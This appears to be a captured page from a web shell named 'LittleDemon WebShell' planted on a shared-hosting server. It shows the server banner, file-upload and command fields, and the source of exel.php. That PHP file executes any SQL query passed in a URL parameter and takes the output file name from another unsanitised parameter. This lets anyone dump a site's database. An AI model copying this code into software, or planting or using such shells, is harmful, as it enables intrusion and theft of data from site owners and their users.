LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/public_html/php/
File Upload :
Command :
Current File : /home/u901718425/public_html/php/exel.php

<?php
include("../panel/globale.php");
if (isset($_GET)) {

$res = $db->query($_GET['query']);
if($res[0] == 'success'){
    
    //$tablecol = $db->query('DESCRIBE '.$_GET['table']);
    date_default_timezone_set('Asia/Kolkata');
   $timestamp = date("Y_m_d_H_i_s");
   $delimiter = ","; 
   $filename = $_GET['table'];
    $filename .= "_".$timestamp.".csv"; 
     
    $f = fopen($filename, 'w'); 
  if(!empty($res[1][0])){
    foreach(array_keys($res[1][0]) as $k=>$v){
       
      $fields[] = $v;
    }
  }
    fputcsv($f, $fields); 
    //print_r($_GET['data']);
    if(is_array($res)){
        foreach($res[1] as $key => $val){
                if(isset($val['description'])){
                    $val['description'] = strip_tags($val['description']);
                }
                fputcsv($f, $val);
        }
    }
    
header("Content-Description: File Transfer");
header("Content-Disposition: attachment; filename=".$filename);
header("Content-Type: application/csv; "); 

readfile($filename);

unlink($filename);
exit();

exit; 
}

}
?>

LittleDemon - FACEBOOK
[ KELUAR ]